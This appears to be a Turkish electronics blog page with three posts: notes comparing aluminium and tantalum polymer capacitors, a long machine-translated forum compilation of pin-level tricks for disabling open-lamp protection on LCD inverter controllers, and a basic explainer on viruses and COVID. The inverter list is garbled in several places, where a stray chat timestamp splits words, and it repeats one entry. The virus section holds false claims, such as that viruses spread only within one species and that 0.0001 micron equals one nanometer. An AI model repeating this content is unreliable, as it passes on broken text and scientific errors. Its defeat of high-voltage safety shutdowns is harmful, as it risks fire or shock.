  • Düşük sıcaklıklarda daha stabil çalışır

Alüminyum Kondansatörler (Sıvı Elektrolitli)

SIVI ELEKTROLİTİKLİ ALÜMİNYUM KONDANSATÖRLER

  • Genellikle silindirik yapıda üretilirler.
  • Islak elektrolite sahiptir.
  • 0.1 μF ila 2.700.000 μF (2.7 F) arasındaki kapasitans değerleri ve 4 V ila 630 V arasındaki nominal voltaj değerleri ile yapılırlar.[5]
  • Kuruduklarında elektriksel parametrelerini yitirirler.
  • Ucuzdurlar.
  • Sıcaklığa duyarlıdırlar.[6]
  • Katı olmayan elektrolitli elektrolitik kapasitörler, frekans ve sıcaklık aralıkları üzerinde polimer kapasitörlerden daha geniş bir sapma gösterir. [7]
  • ESR değerleri yaklaşık 85mOhm civarındadır.[8]
  • Ripple akımı 630mA civarındadır. [8]

 

Tantalyum Polimer Elektrolitik Kondansatörler (Katı Elektrolitli)

  • 2.5 ila 125Vdc voltaj değerleri ile 0.47 ila 1500µF kapasite değerleri arasında üretilebilirler. [1]
  • ESR değeri 5mOhm’a (mili ohm) kadar düşük olabilir ve dalgalanma akım değerleri bazı cihazlar için 4A veya daha fazla olabilir.[1]
  • Tantalyum polimer kapasitörler, geleneksel tantalyum kondansatörlere göre önemli ölçüde maliyet tasarrufu sağlar ve tantalyum kondansatörlere göre yangın çıkarma riski daha azdır.
  • Daha düşük voltaj deformasyonuna sahiptirler, ancak yine de düşük ESR ve ESL ile birleştiğinde iyi hacimsel verimlilik sağlarlar.
  • Anodu sinterlenmiş tantalyumdan oluşur ve kılıfında anodu işaretlenmiştir.
  • Çok düşük ESR değerlerine ek olarak avantajı, düşük endüktanslı ESL’dir, böylece bu kapasitörler daha yüksek frekanslar da başarıyla çalışabilir.[4]
  • Ters polarma altında kaldıklarında kısa devre olarak hasar alırlar. [7]
  • Alüminyum polimere kıyasla daha yükse sıcaklıklarda daha stabil çalışabilir.
  • ESR değerleri yaklaşık 200mOhm civarındadır.[8]
  • Ripple akımı 1900mA civarındadır. [8]
  •  

Tantalyum Polimer Elektrolitik Kondansatörler

Kaynaklar:

1- https://www.avnet.com/wps/portal/abacus/resources/article/the-unstoppable-rise-of-polymer-capacitors/
2- https://tr.qwe.wiki/wiki/Polymer_capacitor

3-https://en.wikipedia.org/wiki/Polymer_capacitor#Polymer_electrolyte

4-https://en.wikipedia.org/wiki/Polymer_capacitor#Polymer_electrolyte

[5] https://en.wikipedia.org/wiki/Aluminum_electrolytic_capacitor

[6] https://en.wikipedia.org/wiki/Aluminum_electrolytic_capacitor#Advantages_and_disadvantages

[7] https://en.wikipedia.org/wiki/Polymer_capacitor#Polymer_electrolyte

[8] https://www.psma.com/sites/default/files/uploads/tech-forums-capacitor/presentations/is184-aluminum-electrolytic-vs-polymer-%e2%80%93two-technologies-%e2%80%93-various-opportunities.pdf

LCD Monitör İnvertör Korumasının İptal Edilmesi

Bir süredir Youtube Kanalımda yayınladığım LCD tamir videolarında invertör korumasını iptal ederek invertörün kapanmasını dolayısıyla monitörün ekranının kararmasını engelliyordum. İnvertör alt yüzeyindeki (smd kılıflı) PWM kontrolcüsünün mantıksal blok şemasını ve örnek devrelerini inceleyerek en uygun iptal tekniğinin bulunması/hesaplanması gereken bu işlem biraz vakit almaktaydı. Çünkü teknik servise gelen hemen hemen tüm monitörlerin PWM entegreleri farklı model numarasına sahipti. Aşağıda listesinin paylaştığım hazine diyebileceğim liste birçok kontrolörün OLP (open lamp protection) korumasının nasıl iptal edileceğinin özet bir listesi.


OZ960
To disable the protection of the SoftStart input (pin 4 of the OZ960), you must force this input (pin 4) to 1.5V – 3.5V, which will control the pulse width of the PWM pulses and adjust the output current in the lamps.
Information was kindly provided by Rottor at the repair forum monitor.net.ru


Another original decision to disable OZ960 protection by pin-10 from AMIT.
Quote:

0Z960 is a
very simple way to unprotect. put the LED with 10 feet to ground. (6-leg ICs)
OZ964
From the forum member monitor.net.ru KRAB
Quote:

Removing the protection for the OZ964:
At pin 4 (SST – Soft-Start Time), at the moment of switching on, you must hold 1.8 – 2V.

From the participant of the forum monitor.net.ru X1-42
Quote:

OZ964 protection is removed in the same way as the OZ960, LED on 10 output.

From the forum participant monitor.net.ru CAIIIA
Quote:

In LCD LG 32LK330-ZB Inverter VIT71884.00 REV: 2.LOGAH (OZ964 + LM339) could not be defeate

Darla.india (VU 3 NDV), [01.12.18 20:49]
d, it works, then no, bu

t it was possible to disable the protection only at the same time for 4 and 10 legs. Separately, the protection was not blocked.

BIT3193
Information provided by the participant KRAB:
Quote:

Removal of protection for BIT3193:
When the protection is activated, the voltage at terminal 5 is about 3, 5 V.
With the voltage at pin 5, from 0.4 to 2.4V and the command “start”, the PWM works autonomously, the lamps are not switched off.

! Removal of protection for BIT3193:
(victor_loza monitor.net.ru)
Option – 1
Through the resistor 2 – 3 kom pin 5 to connect to pin 12 of the chip thus keep the “working” potential of about 1.2 V.
Option – 2
LED as a stabilizer connect to pin 5 on the ground in the direct connection, “stabilize” the voltage on pin 5, to 06 – 08 volts

does not work any option …

I have a second option with LED works. (merkyrio).


TL1451
More information from KRAB:
Quote:

Unlock the TL1451 protection:
– The protection lock in the TL1451 chip (analogous to BA9741) is reduced to a simple action by closing pin 15 to ground.
But if you do this after the protection is triggered (for example by tweezers), nothing happens because the trigger protection is already blocked from the feedback sensors.
– To restore functionality, you must reset the protection trigger by turning the inverter off and on again, or by changing the level on pin 9 of the microcircuit.
In the operating mode of the monitor, the reset of the protection trigger is updated automatically.
FAN7314
From the participant of the forum monitor.net.ru Valentin
Quote:

BN44-00182C with live transformers in the inverter, decided to throw trances on everything known … 123rd block, the primary trance paralleled,
and on the 1st leg FAN7314 put a zener diode on 4.3v with +5v and a resistor 620 ohms per case.

FAN7311 – FAN7314
From the participant monitor.net.ru ParazeTam0l
Quote:

Controllers FAN7311 – FAN7314
By the method of Valentin, (on this page) – 560 Ohm resistor, from pin 1 to the case.
Zener is not needed, in this inclusion it still does not work.


MP1008
Information provided by the participant ancl:
Quote:

Removing the protection from the MP1008: 10 kΩ from 4 pins MP1008 to the chassis.


OZ9938Q
Information provided by the participant JUDI71:
Quote:

… the protection is removed, 10k parallel to the condender for 3 pins OZ9938.


AT1741
Information provided by the participant asanik:
Quote:

AT1741S – LED with 15 output to ground. I guess you can and resistor.
The LED does not light up.


BD9897
Information provided by a member of fantom555:
Quote:

The BD9897 has 17 pins. … “hang” with it on the mass of the LED in the direct switch and the driver starts to “hammer” regardless.
BD9897F
The information is provided by the participant status DNA:
Quote:

BD9897F to the 22 pin of SCP chip to hang LED, cathode to ground.
BD9897FS
Information provided by the comporator:
Quote:

The device is a LCD Sharp LC-32A47l, a 6-lamp inverter for BD9897FS. It was necessary to bypass the protection of BD9897FS, in a trance one of the secondarys was shortened – the winding was removed. For a long time I tried to do something on the reverse link, nothing happened. As a result, I put the LED on 17 pins BD9897 and the case on, which immediately disconnected the protection. The device has earned, successfully passed the run and issued.
TA9687GN
The information was provided by gchel:
Quote:

TA9687GN —- connect 12 terminal TIMER through 47com with the copse (parallel to C818). Checked.
Information provided by the participant serge fetjunin:
Quote:

TA9687GN instead of the resistor is put light-diodes and the adjustable brightness remains.
BD9883
Information provided by AMIT:
Quote:

any LED, 13 leg-SS, BD9883 chips, — anode, body —- 7, cathode
or just put 12 feet on the ground is suitable .
Information provided by the participant Captain:
Quote:

just put 12 feet on the ground.
recommendation from sharp.
OZ99361
Information provided by the participant Nlfjk:
Quote:

Disabling protection in the OZ99361

Darla.india (VU 3 NDV), [01.12.18 20:49]
chip.
… by the controll

er set the voltage on pin 1 of the chip within the stable start 1.85 – 1.98V
From the participant monitor.net.ru kebastos
Quote:

I will complement and I on the LG 26LC2RA ….. panel LC260WX2, inverter master slave, assembled the master on OZ99361 ….. can be changed and to 9936, but it’s not in it …. the inverter is chopped after turning on after three seconds …… disabling its protection is invented and there is in the internet: see the photo below ….. (disabling protection in this case is not dangerous because the inverter is chopped due to the paused lamps) …. but! works, it’s all right, but in modes like “standard” and on AV1 the inverter starts to twist like a cut dog, while working ……. my rework is a bit different – we hang in the air 1 paws ry, and connect it through a 100k ohm resistor to 5 volts …. in the figure it’s clay, going to the 6th leg of the mikro …. well, between 1 foot of the mikro and the ground – the konderkik at 0.15 mikrofad, and everything works fine silently in all modes
OZ9910GN
Information provided by the participant evg4682:
Цитата:

Controller QZ9910 GN protection disconnected: LED with 3 feet of stabilizer. Works with a single lamp, only contrast is adjustable. Monitor Asher al1716.
More options from other forums:

BIT3102A
From the participant monitor.espec.ws zuev-tv

Quote:

For inverters on the BIT3102A, disabling the protection = the setting on terminal 6 of the voltage is 2.5V.


From the participant monitor.net.ru maksatiha
Quote:

Disabling protection on ms BIT3102A. Protection disconnects if the 6 feet are planted on the ground through R = 40kΩ. Verified personally. It was necessary to do this when installing in Samsung N920 instead of MT2-17 REV0.2 block BN44-00082C
OZ9966SN
From the participant monitor.espec.ws zuev-tv
Quote:

The LCD TV inverter on the OZ9966SN is a way to disable the protection.


LX1691A
From the participant monitor.net.ru gosha_gor
Quote:

I want to share the removal of protection from the inverter on the IC of the LX1691A type: the 14th pin of this chip is referred to as the OP-SNS grounded to the chassis. Works OK.
MP1009
From the participant monitor.net.ru Benzopiren
Quote:

Disable MP1009 protection – Short out pin 5 to the chassis.
OZT1060GN
From the member monitor.net.ru bdvrt
Quote:

OZT1060GN – di.diode pin1
QZ9938GN
From the member monitor.net.ru bdvrt
Quote:

QZ9938GN – LED pin3 … as for bit3193
MP10072E
From the participant monitor.net.ru gosha_gor
Quote:

Removal of protection in the MPI type MP10072E: 3 pin – LED on the housing.
INL837GL
From the participant monitor.net.ru Bеnzоpirеn
Quote:

INL837GL Stabilize the power supply at the output of 12 – 1,7 – 2 V. Connect the stabilizer (LED) from pin 12 to ground, there also supply power from the 5 V source through the resistor 470 – 510 Ohm.


OZ99361
From the participant monitor.net.ru kebastos
Quote:

I will complement and I on the LG 26LC2RA ….. panel LC260WX2, inverter master slave, assembled the master on OZ99361 ….. can be changed and to 9936, but it’s not in it …. the inverter is chopped after turning on after three seconds …… disabling its protection is invented and there is in the internet: see the photo below ….. (disabling protection in this case is not dangerous because the inverter is chopped due to the paused lamps) …. but! works, it’s all right, but in modes like “standard” and on AV1 the inverter starts to twist like a cut dog, while working ……. my rework is a bit different – we hang in the air 1 paws ry, and connect it through a 100k ohm resistor to 5 volts …. in the figure it’s clay, going to the 6th leg of the mikro …. well, between 1 foot of the mikro and the ground – the konderkik at 0.15 mikrofad, and everything works fine silently in all modes
MP1038

Quote Sergey Gants:

… deprotection with the MP1038 – the 6th driver leg (FT) through 10kΩ on the chassis. (By analogy with MP1008, only there is FT – 4th leg).
MP1038EY
From the participant monitor.net.ru rammer
Quote:

MP1038EY – LED on the 6t

Darla.india (VU 3 NDV), [01.12.18 20:49]
h pin Fault Timing.
BIT3713

From the participant monitor.net.ru asanik
Quote:

BIT3713 – LED with 5 outputs on the ground TIMER. The LED does not light up.


BA9741
From the participant monitor.net.ru asanik
Quote:

BA9741 F 15 pin – SCP connect to ground. This blocks the protection of both driver channels. (LCD CAMERON 1501SP)


SEM2105
From the participant monitor.net.ru ra4llb
Quote:

SEM2105 – for locking, put the LED on 1 pin of the IC.
MAX8722
From the participant monitor.net.ru ANOD07
Quote:

max8722 – to lock, put 4 pins on the ground.
SEM2006
From the participant monitor.net.ru юрий 72
Цитата:

SEM2006 – The protection is removed by the LED from 2 pins per case.
MSC1692
From the participant monitor.net.ru юрий 72
Цитата:

MSC1692 – with 4 pins a 220kΩ resistor per case.
KH0803A
From the participant monitor.net.ru юрий 72
Цитата:

KH0803A – LED or R 390 – 820 kOm with 5 pins per case. (parallel to C125).
SP5005
From the participant monitor.net.ru Altai
Quote:

SP5005 – (sop16 4ccfl) LED with 5 (timer) pin per case. OZ9910 in my case disconnected the protection LED from 10 pin (and not from the 9th)
SP5001Q
From the participant Anatoly Boldorev
Quote:

TV SANSUI LT2202SS.
Microcircuit SP 5001Q. LED from 19 feet to the common wire cathode.
MP1027EF
From the participant monitor.net.ru Rishat-80
Quote:

Another way to disable the protection of the PWM controller MP1027EF. A rare controller, mainly installed on industrial monoblocks by ADVANTECH. PWM controller with 20 pins, it is necessary to connect 16 pins to GND via a red LED.
BD9240
From the participant monitor.net.ru jurez
Quote:

BD9240 You can remove the protection by putting 15 foot (CP) in 10 kOhms on the case. The panel backlight adjustment will not work.
OB3316QP
From the participant monitor.net.ru LGakht-tel
Quote:

OB3316QP to remove the protection can be as follows: putting the LED from 5pms on weight.
BD9884VF
From the participant monitor.net.ru Radiogad
Quote:

bd9884VF
Removal of protection checked on Erisson 26LH01 — 17 pin IC connected to the voltage divider – cut off the track after the divider that goes to the op-amp – the error amplifier.
OB3328UQP
From the participant monitor.net.ru Radiogad
Quote:

OB3328UQP
To remove the protection, it is enough to install the LED with 3pin IC for weight.
From the participant monitor.net.ru key-s
Quote:

Resistor 10k, with pin 3 per weight. The native condender for this pin is evaporated, in its place-a resistor. Favorite inverter TV3203-ZC02-02 (A)
BI3101
From the participant monitor.net.ru olegno11
Quote:

Disable protection in the BI3101 chip
Pin 16 of the IC is connected to the common wire by a resistor of 220 – 470 Ohm
BD9882F
From the participant monitor.net.ru Коля
Quote:

BD9882F
LED from the 14th output to ground.
BD9766VF
From the participant monitor.net.ru LGakht-tel
Quote:

BD9766VF.
LED from the 20th output to ground.


OB3309
From the participant remont-aud.net AleksandKn
Quote:

According to datasheet OB3309 on 15pin STIME should be + 2V. I put the LED 15pin on the chassis with a voltage of 1.7V. The backlight does not work. In the strapping of the shim, all the resistors are normal, the image parameters are adjusted.
FAN7316
Oleg Nemtsov [email protected]
Quote:

LED on the 17th output.
BD9211F
From the participant monitor.net.ru HMAO
Quote:

The backlight turned off, installed a 4.7k ohm resistor on the output and body.
BD9261FP
From the participant monitor.net.ru LEX1
Quote:

The protection is blocked by installing the st. diode between 27 (6) terminal m / s and the body.
SAQ8818
From the participant monitor.net.ru idnavi
Quote:

To block the protection, it is enough to solder the 1MΩ resistor from +12 Volts (inverter power supply) to the 7 pin SAO8818. SAQ8818 is set to TL494 with a rotation of 180 degrees.
MP1006
From the participant monitor.net.ru Vladislav_
Quote:

MP1006 remove the protection by setting the resistance 10 Kom with 6 outputs “FT” on the chassis.
SEM2107
From the participant monitor.net.ru rostik-71
Quote:

SEM2107 TV set KTC, inverter

Darla.india (VU 3 NDV), [01.12.18 20:49]
SSI_400_14A01 rev 0.1.
On th

e 21 output of the IC (SDT) solder the LED.
FAN7547
From the participant monitor.net.ru emer6
Quote:

Monitor Viewsonic-VA712B. Bypass protection of the inverter on FAN7547 – we short-circuit the 7th leg of the chip.
OB3302CP
From the participant monitor.net.ru RadioElektronik
Quote:

OB3302CP protection was removed by installing a 2-pin LED to 3 volts.
BD9777
From the participant monitor.net.ru status DNA
Quote:

BD9777 14 pin (SS) – microcircuits through the resistor 10км on weight.
OZL68GN
From the participant monitor.net.ru CAIIIA
Quote:

OZL68GN the protection by the white LED on the output of SST 4pin was removed.
BIT3105
From the participant monitor.net.ru CAIIIA
Quote:

BIT3105 deprotection of the SST (19) terminal with a white three-volt light-emitting diode on the ground. The brightness is good, at the output with this LED is kept 2.3V.
BD9222FV
From the participant monitor.net.ru ANOD07
Quote:

BD9222FV – LED with 13 outputs to ground. LED does not light
DT8211
From the participant monitor.net.ru gchel
Quote:

DT8211 9 foot on the body through a kilo-ohm resistor, for example 47k.
OZ9972
From the participant monitor.net.ru rz6anh
Quote:

OZ9972. Option with 24 pins. Output 20 (prot) through 1 kOhm on the chassis. The output from the circuit did not turn off. (rz6anh)

OZ9972ASN 24-pin chassis, 19 output 10 kOhm to ground (there are 28-pin cases there 23 pin performs this function) (KAP1 monitor.net.ru).
UBA2070
From the participant monitor.net.ru zharinov
Quote:

UBA2070 – the first leg on the mass.
BD9896
From the member monitor.net.ru fantom555
Quote:

BD9896 you hang from the 3rd pin on the mass of the LED in the direct connection and the inverter works regardless of anything.
BD9215AFV
From the participant monitor.net.ru LGakht-tel
Quote:

BD9215AFV put a 10 kΩ resistor with 15 pins of IMS per weight.
ILN816GN
From the participant monitor.net.ru slfl
Quote:

ILN816GN – Disable protection on the BENQ E2420HD. The protection was removed by installing a 10kΩ resistor on the eighth pin, parallel to the capacitor C3.
UBA2074
From the participant monitor.net.ru Iskander
Quote:

UBA2074 for deprotection – 20k ohms per case from pin 6. (6pin – CT – fault timing capacitor).
OZ9919GN
From the participant monitor.net.ru arthur58
Quote:

OZ9919GN 8pin after 10com to the ground.
SEM2005
From the participant monitor.net.ru nem
Quote:

SEM2005 – The protection is removed by the LED from 1 pin to the housing.
MP1007ES
From the participant monitor.net.ru LGakht-tel
Quote:

MP1007ES 4pin per weight.
BD9276EFV
From the participant monitor.net.ru Vlad-1966
Quote:

… removed the protection of the LED by 35 pins (softstart).
BIT3251, BIT3252, BIT3267
From the participant monitor.net.ru RadioElektronik
Quote:

… the protection was removed by closing 5 pins on the ground.
BIT3267 is similar (shamrin monitor.net.ru).
From the participant monitor.net.ru BIG-TV
Quote:

… BIT3267 turned out only with 4 on the ground (ovp), 5 pin is inn, unlike BIT3251.
OZ9643N
From the participant monitor.net.ru ksen
Quotation:

OZ9643n – 1st pin after 20 kΩ to ground.
DDA009
From the participant monitor.net.ru vovan_j
Quote:

DDA009. On pin 18 (VCOMP) apply 3v.

DDA009, in my case, the protection was disconnected by the 6 pin of the IC on the case (plazmoid monitor.net.ru).
OZ5508G – OZ5508GN
From the participant monitor.net.ru expressel
Quote:

OZ5508G / N – 3 pin kr. LED on the body. Backlight adjustment works.
BD9275F
From the participant monitor.net.ru Lupik2
Quote:

BD9275F – 11 pins (CP External capacitor from CP to GND for Timer Latch) 1 kΩ per case (parallel to the condenser). At first it completely closed on the case – the protection disconnected. I tried with a resistor – the protection turned off. Backlight adjustment works. Checked.
OZ972GN
From the participant monitor.net.ru ABDU
Quote:

OZ972GN c 8 output LED per weight. Disconnected on the inverter V370H-L01.
OZ9976
From the participant monitor.net.ru kebastos
Quote:

OZ9976 (similar to OZ9966) – 10 kΩ per case from the

Darla.india (VU 3 NDV), [01.12.18 20:49]
TIMER pin, in this case pin 11

of the chip.
BD9270F
From the participant monitor.net.ru VUSA
Quote:

BD9270F – 13 (cp) a pin 10kΩ resistor per case.
SS1091ASN
From the participant monitor.net.ru sergei1600
Quote:

To remove the protection on the SS1091asn on the 19 output solder the LED (sergei1600).

SS1091 – two types of 24 feet and 28 legs
24 feet —- 19 through the LED to the body
28 feet — 23 through the LED to the body
anode – the leg, the cathode – the body (bonatelo).
MP1010
From the participant monitor.net.ru Dimon S
Quote:

MP1010 (MP1010B, MP1010BEF, MP1010BEM) – 17 feet closed on the body. If the connection scheme is 19 + 17, then 19 is separated from 17 and still 17 is hard on the case!
OZ971SN
From the participant bogomol65
Quote:

The OZ971SN can be removed by pulling up 20 feet through 100 kΩ from 3.3 volts from the on-off command. … 28 feet of the chip is in the CL200WX PHILIPS LCD inverter … the power supply of the lamp was cut off … The truncated trance was dropped and the second one, which with him in pair, threw away one pair of lamps. The jumpers connected the error sensors to the working trances. Time did not have enough to look for the best option, saved the supply of 3.3 volts by 20 feet through 100 kOhm.
BIT3102B
From the participant monitor.net.ru scn3
Quote:

Disabling the protection of bit3102b sot-14 5-pin by the mass via a 47 kΩ resistor.
————————————————-
! … you need to 4-pin and not to 5-pin! (vadim1234s monitor.net.ru).
! … 4-pin sst it on the mass through the resistor! (nikolay7816 monitor.net.ru).

OZ9939GN
From the participant monitor.net.ru yura_brt
Quote:

To remove the protection on the OZ9939GN 3pin by the mass through a 100-110kΩ resistor.
UBA2071AT
From the members of monitor.net.ru laurevena, X1-42, Condorviys
Quotes:

POLAR 38LTV4105, inverter on the chip UBA2071AT + two field STP60N06. It is forced to obey by grounding pin 5 of the microcircuit.
PHILIPS chassis TPM4.1e, inverter on chip UBA2071AT + two field 8N60 5 Output to ground did not help. But the LED from the 6 output to the mass has perfectly helped and the telly has taken the other’s lamps.
With the Supra STV-LC2615VD, then it turned out.
OB3362RP
From the participant Andrey Kostyunin
Quote:

Remove the OB3362RP protection. 16 pin – a resistor to the mass of 20-24kom. of the value depends on the brightness of the backlight. .
OZ9902CGN
From the participant Andrey Kostyunin
Quote:

disable protection QZ9902CGN – 8 PIN 10kms per weight.
SSL110SN
From the participant monitor.net.ru DimaSet
Quote:

Toshiba 40HL933RK … protection disabled LED-ohm on the 28th leg (timer) the benefit of the control points on the board are signed.
AP3041M-G1
From the participant monitor.net.ru status DNA
Quote:

To remove the protection, hang the LED on the 12th leg.

BD9397EFV
From the participant monitor.net.ru tolyanich27
Quote:

BD9397EFV is a 32-pin LED.

32 -SS OUT Connecting terminal for soft-start time setting capacitor-foot via LED to housing. (ANDOR1l monitor.net.ru)
! … I have not done this way … in a parallel branch where I read about a resistor for 31 feet. I put 1Com parallel to the condender … the adjustment of the backlight is left … SONY KDL-32R433B !! (alexey1976 monitor.net.ru).
BD9470EFV
From the participant monitor.net.ru IREN
Quote:

BD9470efv remove the protection by closing the 7 pins of the SS to ground via an LED or a resistor of 470 kΩ.
MAX16814B
From the participant monitor.net.ru san-vai
Quote:

LED driver max16814b. 8, the RSDT pin in this case is closed by a jumper on the VCC 20 pin for de-protection.
At pin 7, increase the resistance, thereby reducing the current through the rulers.
BD9828
From the participant monitor.net.ru meikl
Quote:

BD9828 Disconnected the protection of the LED from the 13 output to ground.
SSL100SN
From the participant monitor.net.ru Untitled
Quote:

SSL100SN The SSL320 0E2A inverter has disabled the protection of 19 pin-22kΩ to the case (Untitled).

SSL100SN The SSL320_0E2A inverter has disabled the pro

Darla.india (VU 3 NDV), [01.12.18 20:49]
tection of 19 legs through 8.2km

s to the ground (arthur58).
MAP3202
From the participant monitor.net.ru Шеф631
Quote:

Remove the protection (MAP-3202) by just 5 pin anode of the LED, 4 pins cathode LED, removed to detect the broken light-emitting diodes in the matrix …
OZ9937GN
From the participant monitor.net.ru sarmaxim
Quote:

Remove the protection from the PWM OZ9937GN, from 14 pins (Timer) to the housing, put a resistance of 10k. Protection does not work when removing the lamps. Inverter Darfon 4H + V2988.051 / B (In this inverter shunt capacitor C221 this resistance). (Sarmaxim)

OZ9937 disable protection. Connect the 14pin with a 15pin resistor of 470 kΩ (timofey68).
MP10073ES
From the participant monitor.net.ru Вадикк55
Quote:

To remove protection from the MP10073ES, you need to solder a 10kΩ resistor with a 4n. to the ground. For lack of near at hand, this soldered 11 kOhm. Working!
SS1091SN
From the participant monitor.net.ru JUDI71
Quote:

shim ssi091sn did not find the datasheet – the protection is removed 23 pin LED on the mass.
OZ9925GN
From the participant monitor.net.ru Demon
Quote:

OZ9925GN – disabling protection. On the 13th foot solder the LED. Protection is disabled. The first element with 13 legs is the condenser. That’s parallel to him and solder. Proven.
LX6503IDW
From the participant monitor.net.ru status DNA
Quote:

Samsung LE46B530P7W BN44-00265B LX6503IDW
To remove the protection, we do an ordinary pull-up with a 12 volt resistor (5.1 … 6.8com) + LED on the 3-leg chip.
OZ9928SN
From the member monitor.net.ru Alex021
Quote:

OZ9928SN. On SHARP LC52X20RU disconnected the protection by installing two resistors of 200K from 28 and 29 feet per case.
STR-H3475
From the participant monitor.net.ru EWB2009
Quote:

PANASONIC TX-LR32X20 STR-H3475 two-time backlighting and protection protection with error 1 (inverter error). When the trench windings are tampered, a small spread is observed in the resistance of the secondary windings within 10 ohms. The lamps are in order (tested on another inverter). The protection was removed by connecting the LED to 18 pins on the ground

Ayrıca bazı çok kullanılan kontrolörlerin OLP bypass yöntemleri:

Daha fazla PWM entegresi için github sayfamı kontrol edebilirsiniz.

Biyolojik Virüsler Hakkında Pratik Bilgiler (Corona Özel)

HIV, ROTA, KUŞ GRİBİ ardından SARS ve şimdi de KORONA virüsü ile karşı karşıyayız. Ulaşım (seyahat ve kargo) imkanlarının artması ile küçülen Dünyamız’da; virüslerin yayılma potansiyelleri de artıyor. Ortalama lise biyoloji/kimya/fizik bilgisi sahibi olan herkes tarafından anlaşılabilecek bilgileri kısa ve öz şekilde burada toplamayı düşündüm. İlk olarak virüsler hakkında ortak bilgiler verip ardından korona (covid19)’dan bahsediyor olacağız. Faydalı olması dileğiyle. Haydi başlayalım…

Virüsler (Biyolojik)

  1. Virüsler canlı organizma dışında aktivite göstermezler (cansız kabul edilirler). Canlı bir hücre ile karşılaştıklarında hücre zarı içine nüfuz ederek (infekte) hücre organellerini kendi proteinlerini üretmeye zorlarlar ve bu proteinleri birleştirerek kendi kopyalarını oluştururlar. Yaklaşık 15dk içinde eksponansiyel (üstel) şekilde artan popülasyonları hücre zarına sığmaz olur ve zarı patlatır. Böylece dışarı sızarlar. Faaliyetlerini aynı şekilde organizmanın diğer hücrelerini de patlatarak devam ettirirler.

  2. Virüs’ler türe özgüdürler yani yayılımları aynı türün bireyleri ile gerçekleşir.  Yani bir bitki virüsü havanlara bulaşmaz veya hayvanlar aracılığıyla yayılmaz.

  3. RNA ve DNA’dan biri ile genetik kalıtımlarını aktaran virüsler, bulaştığı konak hücrenin genetik materyaline katkıda (olumlu veya olumsuz olabilir) da bulunabilir. Benzer şekilde kendi genetik materyali de (RNA/DNA) değişikliğe uğrayabilir.  Kökleri DNA tabanlı canlıların ortaya çıkışından çok daha öncelere uzanan RNA virüsleri daha küçük, hızla üreyip biçim değiştirebilen azgın virüslerdir.

  4. Bulaştığı organizmada hissedilebilmesi için 15güne kadar kuluçka süresinin tamamlanması gerekebilir. Bu süre virüsün türüne göre değişiklik gösterir. Ancak bu sürenin sonunda etkileri fark edilebilir. Bağışıklık sisteminin virüs ile nasıl savaştığını izlemek için tıklayın.

  5. Virüslerin büyüklükleri 20-450nm arasında değişir (bakteriler 1000-2000nm arasındadır [1-2mikron]). Hepa filtreler 0.3mikron’a kadar partikülleri ayıklayabilir. Bu nedenle ekstra önlem almadan virüsleri durduramazlar. Kullan at maskeler virüslere karşı tam/yeterli koruma sağlamaz fakat vucuda giren virüs miktarını azaltabilir. Bazı yüksek güvenlikli maskelerin haricindeki bez maskelerin kullanım amacı daha çok, enfekte olmuş kişinin enfeksiyonu etrafına yaymasını önlemektir. Bu bakımdan, yeterince çok sayıda kişinin (hele ki hastalık semptomları gösterenlerin) yüz maskesi kullanması, salgının yayılmasına engel olmak açısından faydalı görülebilir. Unutmamak gerekiyor ki (en azından çoğu durumda) tek veya birkaç virüsün size bulaşması, virüsün sizi hasta etmesi için yeterli değildir. Bazı araştırmalar tek bir virüsün bile hastalık için yeterli olduğuna yönelik veriler sunsa da, çoğu zaman binlerce, belki on binlerce virüsün size ulaşması gerekmektedir. Benzer şekilde, ne kadar az sayıda virüs ile enfekte edilirseniz, hasta olma ihtimaliniz de o kadar azalmaktadır (ancak hiçbir zaman sıfır değildir; yani tek bir virüs bile sizi hasta edebilir; bu nedenle maskeler mutlak koruma sağlayamaz). Buna ek olarak, daha az sayıda virüsü vücudunuza aldığınızda savunma sisteminiz bunları durduramayacak olursa, o zaman da virüs çoğalarak sizi hasta edebilir. Dolayısıyla maske kullanımındaki bir amaç da, vücuda giren virüs miktarını azaltmaktır (ve mümkünse, durdurmaktır).

  6. Maske kullanımının en önemli nedeni kuluçka devresinde iken diğer sağlıklı insanları korumaktır. Virüsler günlerce semptom (hastalık belirtisi) göstermeden günlerce vucutta çoğalabilir ve bu arada diğer insanları bilmeden enfekte etmenize neden olabilir. Enfekte olduğunu bilmeyen kişiyle toplum arasında izolasyonun sağlanabilmesi için  maske kullanımı önem arz eder.
  7. Virüs enfeksiyonunun gerçekleşmesi için karşı taraftaki kişiye hapşırma veya öksürme olması gerekmez. Kısa mesafeden konuşmak da enfeksiyonun gerçekleşmesi için yeterli olabilir. Ancak bu şekilde karşı tarafa geçen virüs sayısı görece az olacağından enfekte etmek için yeterli olmayabilir. Kaynak-1, Kaynak-2.

  8. Tespit edilen birkaç büyük moleküllü virüs hariç, virüslerin tamamına yakını klasik ışık mikroskoplarıyla incelenemezler (boyutları nanometreler ölçeğinde olduklarından). Virüslerin incelemesi elektron mikroskopu ile yapılır.

  9. Ters ozmoz (RO) filtresine sahip bir su arıtma sistemi virüs geçişini engelleyebilir. Bir RO filtre 0.0001 mikron’luk gözeneklere sahiptir. Yani 1 nanometrelik küçük pencereler. Virüsler buralardan geçemezler ve atık su kanalına yönlendirilirler.

  10. Virüsler tam bir hücre yapısı göstermezler, organelleri ve ribozomları yoktur. Tek başlarına yaşamak için gerekli olan enerjiyi ve makromolekülleri sentezleyemezler. Gereksinim duydukları enerjiyi içinde bulundukları konak hücreden sağlarlar, hücre dışına çıkan virüsler enerji sağlayamazlar.

  11. Virüsler yalnızca canlı hücrelerin bulunduğu ortamlarda çoğalabililrler. Deneysel olarak çoğaltmak isterseniz, Hücre kültürlerinde, embriyolu tavuk yumurtasında veya deney hayvanlarında çoğaltabilirsiniz.

  12. Antibiyotikler virüsler üzerinde etkili değildir (bakteriler üzerinde etkilidirler) ancak virüsler ile aşılar vasıtasıyla mücadele edilebilir. Hücrede kuvvetli ve kalıcı bir antikor yanıtı oluştururlar. Bağışıklık sisteminin ürettiği interferon proteinin varlığında çoğalmayı sürdüremezler.

  13. İnterferans yapabilirler, yani başka virüs türlerinin konak hücreye girişlerini engelleyebilirler.

  14. Virüslerin çoğu 60 santigrat derecede 60 dakika içinde aktivitelerini yitirirler. Konak hücreye bağlanma yetenekleri kaybolur. Buna karşı -70 ile -200 derece arasındaki ısılarda yıllarca saklanabilirler.

  15. Virüslerin çoğu nötr pH ve izotonik ortamları tercih ederler. pH 5-9 arasında canlılıklarını sürdürüler. Bu da canlı organizmalarına uyan bir aralıktır. Diğer pH’larda etkinliklerini yitirirler.

